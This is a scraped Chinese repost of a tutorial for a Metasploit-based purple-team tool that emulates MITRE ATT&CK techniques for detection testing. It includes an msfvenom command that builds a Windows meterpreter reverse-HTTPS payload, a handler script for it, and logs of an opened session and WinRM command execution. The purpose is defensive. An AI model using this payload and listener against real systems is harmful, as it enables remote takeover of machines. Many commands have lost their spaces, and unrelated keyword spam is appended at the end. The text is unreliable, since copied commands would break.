千家信息网

如何使用自动化渗透测试工具PTAA

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,今天就跟大家聊聊有关如何使用自动化渗透测试工具PTAA,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。为了评估安全检测与事件响应能力,我们正在尝
千家信息网最后更新 2026年11月01日如何使用自动化渗透测试工具PTAA

今天就跟大家聊聊有关如何使用自动化渗透测试工具PTAA,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

为了评估安全检测与事件响应能力,我们正在尝试寻找一种自动化模拟对手攻击策略的方式。通过研究,我们设计出了MITRE ATT&CK™ TTPs,并以Metasploit Framework的模块形式呈现-post模块。目前,我们已经可以自动化模拟出超过100 种TTPs了。

Metasploit的优势就在于其稳定健壮且丰富的功能库,该框架所带的模块能够与操作系统API直接交互,而且灵活易于扩展。除此之外,我们还可以利用Metasploit的execute_powershell模块来模拟出类似.NET内存中执行之类的功能。这将允许蓝队确保他们的工具在检测到特定TTP行为时能够有效发出警报,并不会执行特定代码或操作。(例如已编码的PowerShell)

我们的工具基于最新版本的Metasploit开发(2019年4月9日版:【Metasploit下载地址】)。在实现自动化机制的过程中,我们尽可能地减少了对Metasploit框架源码的修改量,以此来保证用户能够体验到接近原生的Metasploit。

工具安装

C2服务器-注册并搭建一台云虚拟机设备

DNS-选择一个域名并在DNS中注册

SSL-我们建议大家使用有效的SSL证书来进行测试操作,推荐使用LetsEncrypt:

exportDNS_NAME="mytestdomain.com"wgethttps://dl.eff.org/certbot-autochmoda+x ./certbot-auto./certbot-auto-q./certbot-autocertonly -d $DNS_NAME --standalone --register-unsafely-without-email -n--agree-tos

Debian/Ubuntu

安装源:https://github.com/rapid7/metasploit-framework/tree/master/docker

安装docker:

curl-fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -apt-keyfingerprint 0EBFCD88add-apt-repository\   "deb [arch=amd64]https://download.docker.com/linux/debian jessie stable"apt-get-y updateapt-get-y install docker-ce

获取项目源码:

git clone git@github.com:praetorian-inc/purple-team-attack-automation.gitcd purple-team-attack-automation

修改LHOST以及对外端口:

echo"version: '3'services:  ms:    environment:    # example of setting LHOST      LHOST: 0.0.0.0    # example of adding more ports    ports:      - 8080:8080      - 443:443      - 80:80"> docker-compose.local.override.yml

设置COMPOSE_FILE环境变量,加载本地文件:

echo"COMPOSE_FILE=./docker-compose.yml:./docker-compose.override.yml:./docker-compose.local.override.yml">> .env

构建容器:

docker -composebuild

运行容器:

./docker/bin/msfconsole

修改metasploit目录权限:

chmod-R ugo+rw ~/.msf4Payloadcd ~curlhttps://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb> msfinstall && \  chmod 755 msfinstall && \  ./msfinstallmsfvenom-p windows/x64/meterpreter_reverse_https lhost=mytestdomain.com lport=443 -ax64 -f exe HandlerSSLCert=~/purple-team-attack-automation/MSF.pemStagerVerifySSLCert=true -o ~/attack-testing.exe

监听器

你可以使用样本资源脚本来开启监听器:

$echo 'print_status("StartingHTTPS listener for Windows x64 meterpreter on port 443.")run_single("useexploit/multi/handler")run_single("setpayload windows/x64/meterpreter_reverse_https")run_single("setlport 443")run_single("setHandlerSSLCert MSF.pem")run_single("setExitOnSession false")run_single("setStagerVerifySSLCert true")run_single("exploit-j")'> ~/purple-team-attack-automation/scripts/resource/windows_listener.rc

监听器开启后,payload将以管理员权限运行并发送回调信息。

使用模块

msf5auxiliary(scanner/smb/impacket/secretsdump) > resource windows_listener.rc[*]Processing /usr/src/metasploit-framework/scripts/resource/windows_listener.rcfor ERB directives.[*]resource (/usr/src/metasploit-framework/scripts/resource/windows_listener.rc)>Ruby Code (270 bytes)[*]Starting HTTPS listener for Windows x64 meterpreter on port 443.payload=> windows/x64/meterpreter_reverse_httpslport=> 443lhost=> 0.0.0.0[*]Exploit running as background job 0.[*]Exploit completed, but no session was created.msf5exploit(multi/handler) >[*]Started HTTPS reverse handler on https://0.0.0.0:443[*]https://0.0.0.0:443 handling request from 192.168.137.11; (UUID: czgdxj3z)Redirecting stageless connection from/2F-7ig9OfztlUGRSOeTJogLC1HD_4Yf2RGj-ZlWaPE6oCIdO_nvk_GC913H-gXl7lhXUXYcn withUA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'[*]https://0.0.0.0:443 handling request from 192.168.137.11; (UUID: czgdxj3z)Attaching orphaned/stageless session...[*]Meterpreter session 1 opened (172.18.0.3:443 -> 192.168.137.11:52012) at2019-04-15 16:10:27 +0000 msf5post(windows/purple/t1005) > use post/windows/purple/t1028msf5post(windows/purple/t1028) > info        Name: Windows Remote Management (T1028)Windows - Purple Team     Module: post/windows/purple/t1028   Platform: Windows       Arch:       Rank: Normal Providedby:  Praetorian Compatiblesession types:  Meterpreter Basicoptions:  Name    Current Setting                                                      Required  Description  ----    ---------------                                                      --------  -----------  CLEANUP true                                                                 yes       Close any instances ofcalc  CMD     winrm qc -q & winrm i c wmicimv2/Win32_Process@{CommandLine="calc"}  yes       Command to execute  SESSION 1                                                                    yes       The session to run thismodule on. Description:  Execution, Lateral Movement: Windows RemoteManagement (WinRM) is  the name of both a Windows service and aprotocol that allows a user  to interact with a remote system (e.g., runan executable, modify  the Registry, modify services). It may becalled with the winrm  command or by any number of programs such asPowerShell. References:  CVE: Not available  https://attack.mitre.org/wiki/Technique/T1028 msf5post(windows/purple/t1028) > exploit [+]Found an instance of Calculator running. Killing it.[*]Executing 'cmd /c winrm qc -q & winrm i c wmicimv2/Win32_Process@{CommandLine="calc"}' on #[!]WinRM service is already running on this machine.WSManFault    Message        ProviderFault            WSManFault                Message = WinRM firewall exceptionwill not work since one of the network connection types on this machine is setto Public. Change the network connection type to either Domain or Private andtry again. Errornumber:  -2144108183 0x80338169WinRMfirewall exception will not work since one of the network connection types onthis machine is set to Public. Change the network connection type to eitherDomain or Private and try again.create_OUTPUT    ProcessId = 5456    ReturnValue = 0 [+]Module T1028W execution successful.[+]Found an instance of Calculator running. Killing it.[+]Found an instance of Calculator running. Killing it.[*]Post module execution completedmsf5post(windows/purple/t1028) >

看完上述内容,你们对如何使用自动化渗透测试工具PTAA有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注行业资讯频道,感谢大家的支持。

工具 自动化 模块 测试 内容 监听器 监听 测试工具 有效 功能 容器 权限 框架 源码 检测 运行 健壮 操作系统 优势 内存 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网金融 科技 紫鲸互联网科技 狮子座互联网科技培训 互联网金融监管科技 佩信高科技互联网 老年人脱离互联网科技的作文 卫星互联网科技股票 科技赋能互联网健康 银川新华互联网科技职业技术培训学校图片 消费医药和互联网科技 互联网科技研发水平 想开互联网科技公司怎么样 科技类公司包括互联网吗 佛山市拉法互联网科技有限公司 广州千川互联网科技有限公司 广州互联网高科技取餐柜 陕西九四连强互联网科技有限公司 上海万顺科技互联网有限公司招聘 现代互联网科技公司 数字科技和互联网金融哪个好 中关村互联网科技集团 互联网扶贫科技 互联网科技中介 华服互联网科技官网 玉溪互联网科技怎么选 本届互联网大会上的黑科技 万物互联网智能科技 承德科技产业互联网平台 互联网科技创业计划的风险分析 现代科技的标志之一的互联网
0